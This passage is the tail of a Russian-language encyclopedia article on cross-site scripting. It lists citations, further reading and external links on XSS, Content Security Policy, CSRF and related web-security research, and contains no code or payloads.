  41. ^ «Уровень политики безопасности контента 3» . www.w3.org . Проверено 1 мая 2019 года .
  42. ^ Weichselbaum, Lukas (2016). «CSP мертв, да здравствует CSP! О незащищенности белых списков и будущем политики безопасности контента» (PDF) . Материалы конференции ACM SIGSAC по компьютерной и коммуникационной безопасности 2016 года . CCS '16: 1376–1387. DOI : 10.1145 / 2976749.2978363 . ISBN  9781450341394. С2ЦИД  16400010 .
  43. ^ «Могу я использовать ... Таблицы поддержки HTML5, CSS3 и т . Д.» . caniuse.com . Проверено 1 мая 2019 года .
  44. ^ «Строгий CSP - Политика безопасности контента» . csp.withgoogle.com . Проверено 1 мая 2019 года .
  45. ^ «Как Google использует политику безопасности контента для устранения недостатков в Интернете» . eWEEK . Проверено 1 мая 2019 года .
  46. ^ Ахаве, Девдатта. «[CSP] Об отчетах и ​​фильтрации» . Технический блог Dropbox . Проверено 1 мая 2019 года .
  47. ^ Lekies, Себастьян; Котович, Кшиштоф; Грос, Самуэль; Нава, Эдуардо Вела; Джонс, Мартин (2017). «Атаки с повторным использованием кода для Интернета: устранение последствий межсайтового скриптинга с помощью скриптовых гаджетов» (PDF) . Цитировать журнал требует |journal=( помощь )
  48. ^ «Спецификация доверенных типов WIP» . wicg.github.io . Проверено 1 мая 2019 года .
  49. ^ LK Shar и HBK Tan, "Автоматическое удаление уязвимостей межсайтового скриптинга в веб-приложениях", Информационные и программные технологии, т. 54, (5), стр. 467-478, 2012.
  50. ^ Марк, Гудвин; Майк, Уэст. «Файлы cookie того же сайта» . tools.ietf.org . Проверено 4 мая 2018 года .
  51. ^ «Могу я использовать ... Таблицы поддержки HTML5, CSS3 и т . Д.» . caniuse.com . Проверено 4 мая 2018 года .
  52. ↑ Ди Паола, Стефано (3 января 2007 г.). «Плагин Adobe Acrobat Reader - множественные уязвимости» . Wisec.it . Проверено 13 марта 2012 года .
  53. ^ Suggi Liverani, Роберто (26 апреля 2017). «UXSS в McAfee Endpoint Security, www.mcafee.com и некоторые дополнительные полезности ...» blog.malerisch.net . Проверено 3 мая 2017 года .
  54. ^ «Брешь в безопасности Internet Explorer позволяет злоумышленникам запускать произвольные программы» . Heise Media UK. 16 мая 2008 . Проверено 7 июня 2008 года .
  55. ^ Suggi Liverani, Роберто (21 апреля 2010). «Кросс-контекстные сценарии в Firefox» (PDF) . Security-Assessment.com . Проверено 3 мая 2017 года .
  56. ^ «Доступно обновление для потенциальных уязвимостей внедрения HTTP-заголовков в Adobe Flash Player» . Adobe Systems. 14 ноября 2006 . Проверено 7 июня 2008 года .
  57. Перейти ↑ Auger, Robert (17 апреля 2008 г.). «Часто задаваемые вопросы о подделке межсайтовых запросов (CSRF / XSRF) (версия 1.59)» . Cgisecurity.com . Проверено 7 июня 2008 года .
  58. ^ Шнайдер, Кристиан. «CSRF и XSS того же происхождения» . www.webappsecblog.com . Архивировано из оригинального 14 августа 2012 года . Проверено 21 апреля 2012 года .
  59. ^ «OAuth 2.0 и уязвимость перенаправления OpenID» . Хакерские новости. 2 мая 2014 года . Проверено 21 декабря 2014 года .
  60. ^ ScHARR, Джилл (2 мая 2014). «Facebook, пользователям Google угрожает новая брешь в безопасности» . Руководство Тома . Проверено 21 декабря 2014 года .
  61. ^ «SQL-инъекция» . Консорциум безопасности веб-приложений. 2005 . Проверено 7 июня 2008 года .
  62. ^ "Часто задаваемые вопросы о межсайтовых сценариях" . Cgisecurity.com. 2002 . Проверено 7 июня 2008 года .
  63. ^ Абгралл, Эрван; Траон, Ив Ле; Гомбо, Сильвен; Монперрус, Мартин (2014). «Эмпирическое исследование поверхности атаки веб-браузера при межсайтовом скриптинге: насущная необходимость в систематическом регрессионном тестировании безопасности» . 2014 Седьмая международная конференция IEEE по тестированию, проверке и валидации программного обеспечения, семинары (PDF) . С. 34–41. DOI : 10.1109 / ICSTW.2014.63 . ISBN  978-1-4799-5790-3. S2CID  8028548 .

Дальнейшее чтение [ править ]

  • Маккензи, Томас. «ScriptAlert1.com - Краткое объяснение межсайтового скриптинга на нескольких языках» . Проверено 24 октября 2015 года .
  • «Предотвращение XSS в ASP.NET стало проще» . Заблокируйте меня | Безопасность для повседневного разработчика . 6 февраля 2015 года . Проверено 24 октября 2015 года .
  • «Межсайтовый скриптинг» . Консорциум безопасности веб-приложений . 13 октября 2005 . Проверено 24 октября 2015 года .

Внешние ссылки [ править ]

  • OWASP : XSS , Тестирование XSS , Проверка кода для XSS
  • XSSed: база данных веб-сайтов, уязвимых для атак межсайтового скриптинга